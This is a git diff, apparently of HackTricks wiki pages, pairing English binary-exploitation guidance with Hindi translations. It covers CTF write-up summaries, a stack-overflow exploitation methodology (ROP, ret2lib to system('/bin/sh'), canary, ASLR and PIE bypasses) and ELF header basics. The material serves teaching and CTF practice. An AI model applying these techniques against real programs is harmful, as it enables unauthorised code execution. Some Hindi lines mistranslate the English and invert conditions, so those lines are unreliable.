- 64 बिट, कोई relro नहीं, कैनरी, nx, कोई pie नहीं। स्टैक में एक एरे में एक ऑफ-बाय-वन है जो एक पॉइंटर को नियंत्रित करने की अनुमति देता है जो WWW (यह ओवरराइट किए गए पते में एरे के सभी नंबरों का योग लिखता है) को प्रदान करता है। स्टैक को नियंत्रित किया जाता है ताकि GOT `exit` पता `pop rdi; ret` के साथ ओवरराइट किया जाए, और स्टैक में `main` का पता जोड़ा जाता है (जो `main` पर वापस लूप करता है)। एक ROP श्रृंखला का उपयोग किया जाता है जो GOT में put के पते को लीक करने के लिए है (`exit` को कॉल किया जाएगा इसलिए यह `pop rdi; ret` को कॉल करेगा और इस प्रकार स्टैक में इस श्रृंखला को निष्पादित करेगा)। अंततः एक नई ROP श्रृंखला का उपयोग किया जाता है जो ret2lib को निष्पादित करती है।
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
|
||||
- 32 बिट, कोई relro नहीं, कोई कैनरी नहीं, nx, pie। स्टैक से libc और heap के पते को लीक करने के लिए एक खराब अनुक्रमण का दुरुपयोग करें। `system('/bin/sh')` को कॉल करते हुए ret2lib करने के लिए बफर ओवरफ्लो का दुरुपयोग करें (चेक को बायपास करने के लिए heap का पता आवश्यक है)।
|
||||
|
||||
@ -1,111 +1,111 @@
|
||||
# Basic Binary Exploitation Methodology
|
||||
# बेसिक बाइनरी एक्सप्लॉइटेशन मेथोडोलॉजी
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ELF Basic Info
|
||||
## ELF बेसिक जानकारी
|
||||
|
||||
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
|
||||
किसी भी चीज़ का शोषण करने से पहले **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है:
|
||||
|
||||
{{#ref}}
|
||||
elf-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Exploiting Tools
|
||||
## शोषण उपकरण
|
||||
|
||||
{{#ref}}
|
||||
tools/
|
||||
{{#endref}}
|
||||
|
||||
## Stack Overflow Methodology
|
||||
## स्टैक ओवरफ्लो मेथोडोलॉजी
|
||||
|
||||
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
|
||||
इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी तो एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं लेकिन इस मेथोडोलॉजी में नहीं।
|
||||
|
||||
## Controlling the Flow
|
||||
## प्रवाह को नियंत्रित करना
|
||||
|
||||
There are different was you could end controlling the flow of a program:
|
||||
एक प्रोग्राम के प्रवाह को नियंत्रित करने के लिए विभिन्न तरीके हैं:
|
||||
|
||||
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Or via **Arbitrary Writes + Write What Where to Execution**
|
||||
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
|
||||
- [**स्टैक ओवरफ्लो**](../stack-overflow/) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना।
|
||||
- ओवरफ्लो उत्पन्न करने के लिए [**इंटीजर ओवरफ्लो**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
|
||||
- या **मनमाने लेखन + निष्पादन के लिए क्या लिखें** के माध्यम से।
|
||||
- [**फॉर्मेट स्ट्रिंग्स**](../format-strings/)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमानी सामग्री लिखना।
|
||||
- [**एरे इंडेक्सिंग**](../array-indexing.md): कुछ एरे को नियंत्रित करने और मनमाने लेखन प्राप्त करने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करना।
|
||||
- ओवरफ्लो उत्पन्न करने के लिए [**इंटीजर ओवरफ्लो**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
|
||||
- **bof से WWW तक ROP के माध्यम से**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करना और WWW प्राप्त करना।
|
||||
|
||||
You can find the **Write What Where to Execution** techniques in:
|
||||
आप **क्या लिखें कहाँ निष्पादन के लिए** तकनीकों को पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
## Eternal Loops
|
||||
## शाश्वत लूप
|
||||
|
||||
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
|
||||
ध्यान में रखने के लिए एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण सफल शोषण करने के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने योग्य बनाने** के कुछ विकल्पों पर चर्चा करें:
|
||||
|
||||
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
|
||||
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
|
||||
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
|
||||
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
|
||||
- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **भेद्यता** हो रही है।
|
||||
- एक उचित ROP श्रृंखला को नियंत्रित करके आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं।
|
||||
- **`exit` पते को GOT में** (या बाइनरी द्वारा समाप्त होने से पहले उपयोग किए जाने वाले किसी अन्य फ़ंक्शन) को **भेद्यता** पर वापस जाने के लिए पता लिखें।
|
||||
- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक फिर से vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा।
|
||||
|
||||
## Exploitation Goals
|
||||
## शोषण लक्ष्य
|
||||
|
||||
### Goal: Call an Existing function
|
||||
### लक्ष्य: एक मौजूदा फ़ंक्शन को कॉल करें
|
||||
|
||||
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
|
||||
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
|
||||
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
|
||||
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
|
||||
- If you need to set several parameter to correctly call the **ret2win** function you can use:
|
||||
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
|
||||
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
|
||||
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
|
||||
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
|
||||
- [**ret2win**](./#ret2win): कोड में एक फ़ंक्शन है जिसे आपको कॉल करना है (शायद कुछ विशिष्ट पैरामीटर के साथ) ताकि फ्लैग प्राप्त किया जा सके।
|
||||
- एक **नियमित bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/) **और** [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है।
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/) के साथ bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- यदि आपको **ret2win** फ़ंक्शन को सही ढंग से कॉल करने के लिए कई पैरामीटर सेट करने की आवश्यकता है, तो आप उपयोग कर सकते हैं:
|
||||
- यदि पर्याप्त गैजेट हैं तो [**ROP**](./#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए।
|
||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
|
||||
- [**Write What Where**](../arbitrary-write-2-exec/) के माध्यम से आप **`win`** फ़ंक्शन को कॉल करने के लिए अन्य भेद्यताओं (bof नहीं) का दुरुपयोग कर सकते हैं।
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए या किसी स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं।
|
||||
- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
|
||||
### Goal: RCE
|
||||
### लक्ष्य: RCE
|
||||
|
||||
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
|
||||
#### शेलकोड के माध्यम से, यदि nx अक्षम है या शेलकोड को ROP के साथ मिलाकर:
|
||||
|
||||
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
|
||||
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
|
||||
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
|
||||
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
|
||||
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
|
||||
- This will mix shellcode with a ROP chain.
|
||||
- [**(स्टैक) शेलकोड**](./#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में स्टैक में शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इसे निष्पादित करने के लिए** कूदें:
|
||||
- किसी भी मामले में, यदि वहाँ एक [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/)** है,** एक नियमित bof में आपको इसे बायपास (लीक) करने की आवश्यकता होगी।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के बिना, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) के साथ, आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी।
|
||||
- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के साथ, आपको `memprotect` को कॉल करने के लिए कुछ [**ROP**](../rop-return-oriented-programing/) का उपयोग करने की आवश्यकता होगी और कुछ पृष्ठ `rwx` बनाना होगा, ताकि फिर **शेलकोड को वहाँ स्टोर किया जा सके** (उदाहरण के लिए पढ़ें) और फिर वहाँ कूदें।
|
||||
- यह शेलकोड को ROP श्रृंखला के साथ मिलाएगा।
|
||||
|
||||
#### Via syscalls
|
||||
#### सिस्टम कॉल के माध्यम से
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
|
||||
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
|
||||
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): मनमाने आदेशों को चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को कॉल करने के लिए गैजेट्स खोजने में सक्षम होना चाहिए**।
|
||||
- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) सक्षम हैं, तो आपको **ROP गैजेट्स का उपयोग करने के लिए उन्हें पराजित करने की आवश्यकता होगी**।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है।
|
||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
|
||||
|
||||
#### Via libc
|
||||
#### libc के माध्यम से
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
|
||||
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
|
||||
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
|
||||
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
|
||||
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
|
||||
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it 
|
||||
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
|
||||
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
|
||||
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
- Find the **`libc` version** used (leak a couple of function addresses)
|
||||
- Check the **previous scenarios with ASLR** to continue.
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): एक लाइब्रेरी (आमतौर पर **`libc`**) से फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **लाइब्रेरी** को लोड करने की आवश्यकता है जिसमें आप कॉल करना चाहते हैं (आमतौर पर libc)।
|
||||
- यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और libc संस्करण** को जानने के बिना, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **के साथ लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और बाइनरी का उपयोग करते हुए `system` फ़ंक्शन के साथ, आप **GOT में system के पते पर `ret`** कर सकते हैं जिसमें `'/bin/sh'` का पता पैरामीटर में है (आपको इसे समझना होगा)।
|
||||
- [ASLR](../common-binary-protections-and-bypasses/aslr/) के साथ लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और **बाइनरी का उपयोग किए बिना `system`**:
|
||||
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें ताकि `system` का पता हल किया जा सके और इसे कॉल किया जा सके।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` का पता निकालें।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ और libc को न जानते हुए: आपको:
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) को बायपास करना होगा।
|
||||
- उपयोग की गई **`libc` संस्करण** को खोजें (कुछ फ़ंक्शन पते लीक करें)।
|
||||
- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों** की जांच करें।
|
||||
|
||||
#### Via EBP/RBP
|
||||
#### EBP/RBP के माध्यम से
|
||||
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
|
||||
- Useful for **off-by-one** stack overflows
|
||||
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
|
||||
- [**स्टैक पिवोटिंग / EBP2Ret / EBP चेनिंग**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें।
|
||||
- **ऑफ-बाय-वन** स्टैक ओवरफ्लो के लिए उपयोगी।
|
||||
- मेमोरी में पेलोड का निर्माण करते समय EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी और फिर EBP के माध्यम से उस पर कूदना।
|
||||
|
||||
#### Misc
|
||||
#### विविध
|
||||
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए या किसी स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं।
|
||||
- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,10 @@
|
||||
# ELF Basic Information
|
||||
# ELF बुनियादी जानकारी
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Program Headers
|
||||
|
||||
The describe to the loader how to load the **ELF** into memory:
|
||||
## प्रोग्राम हेडर
|
||||
|
||||
यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड किया जाए:
|
||||
```bash
|
||||
readelf -lW lnstat
|
||||
|
||||
@ -14,80 +13,78 @@ Entry point 0x1c00
|
||||
There are 9 program headers, starting at offset 64
|
||||
|
||||
Program Headers:
|
||||
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
|
||||
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
|
||||
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
|
||||
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
|
||||
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
|
||||
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
|
||||
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
|
||||
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
|
||||
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
|
||||
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
|
||||
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
|
||||
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
|
||||
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
|
||||
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
|
||||
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
|
||||
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
|
||||
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
|
||||
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
|
||||
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
|
||||
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
|
||||
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
|
||||
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
|
||||
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00
|
||||
01 .interp
|
||||
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
|
||||
03 .init_array .fini_array .dynamic .got .data .bss
|
||||
04 .dynamic
|
||||
05 .note.gnu.build-id .note.ABI-tag .note.package
|
||||
06 .eh_frame_hdr
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00
|
||||
01 .interp
|
||||
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
|
||||
03 .init_array .fini_array .dynamic .got .data .bss
|
||||
04 .dynamic
|
||||
05 .note.gnu.build-id .note.ABI-tag .note.package
|
||||
06 .eh_frame_hdr
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
पिछले प्रोग्राम में **9 प्रोग्राम हेडर** हैं, फिर, **सेगमेंट मैपिंग** यह दर्शाता है कि **प्रत्येक सेक्शन** किस प्रोग्राम हेडर (00 से 08 तक) में **स्थित है**।
|
||||
|
||||
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
|
||||
### PHDR - प्रोग्राम हेडर
|
||||
|
||||
### PHDR - Program HeaDeR
|
||||
|
||||
Contains the program header tables and metadata itself.
|
||||
प्रोग्राम हेडर टेबल और मेटाडेटा को स्वयं शामिल करता है।
|
||||
|
||||
### INTERP
|
||||
|
||||
Indicates the path of the loader to use to load the binary into memory.
|
||||
बाइनरी को मेमोरी में लोड करने के लिए उपयोग करने के लिए लोडर का पथ दर्शाता है।
|
||||
|
||||
### LOAD
|
||||
|
||||
These headers are used to indicate **how to load a binary into memory.**\
|
||||
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
|
||||
ये हेडर यह दर्शाने के लिए उपयोग किए जाते हैं कि **बाइनरी को मेमोरी में कैसे लोड किया जाए।**\
|
||||
प्रत्येक **LOAD** हेडर **मेमोरी** के एक क्षेत्र (आकार, अनुमतियाँ और संरेखण) को दर्शाता है और ELF **बाइनरी के बाइट्स को वहाँ कॉपी करने** का संकेत देता है।
|
||||
|
||||
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
उदाहरण के लिए, दूसरा 0x1190 का आकार है, इसे 0x1fc48 पर स्थित होना चाहिए जिसमें पढ़ने और लिखने की अनुमतियाँ हैं और इसे 0xfc48 से 0x528 से भरा जाएगा (यह सभी आरक्षित स्थान को नहीं भरता)। यह मेमोरी सेक्शन को शामिल करेगी `.init_array .fini_array .dynamic .got .data .bss`।
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
|
||||
यह हेडर प्रोग्रामों को उनके पुस्तकालय निर्भरताओं से लिंक करने और पुनर्स्थापनाएँ लागू करने में मदद करता है। **`.dynamic`** सेक्शन की जांच करें।
|
||||
|
||||
### NOTE
|
||||
|
||||
This stores vendor metadata information about the binary.
|
||||
यह बाइनरी के बारे में विक्रेता मेटाडेटा जानकारी संग्रहीत करता है।
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
|
||||
स्टैक अनवाइंड टेबल के स्थान को परिभाषित करता है, जिसका उपयोग डिबगर्स और C++ अपवाद हैंडलिंग-रनटाइम फ़ंक्शंस द्वारा किया जाता है।
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
|
||||
स्टैक निष्पादन रोकथाम रक्षा की कॉन्फ़िगरेशन को शामिल करता है। यदि सक्षम है, तो बाइनरी स्टैक से कोड निष्पादित नहीं कर सकेगी।
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
|
||||
बाइनरी के RELRO (रिलोकेशन रीड-ओनली) कॉन्फ़िगरेशन को दर्शाता है। यह सुरक्षा प्रोग्राम के लोड होने के बाद और चलने से पहले मेमोरी के कुछ सेक्शनों (जैसे `GOT` या `init` और `fini` टेबल) को रीड-ओनली के रूप में चिह्नित करेगी।
|
||||
|
||||
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
पिछले उदाहरण में यह 0x1fc48 पर 0x3b8 बाइट्स को रीड-ओनली के रूप में कॉपी कर रहा है जो सेक्शनों को प्रभावित करता है `.init_array .fini_array .dynamic .got .data .bss`।
|
||||
|
||||
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
|
||||
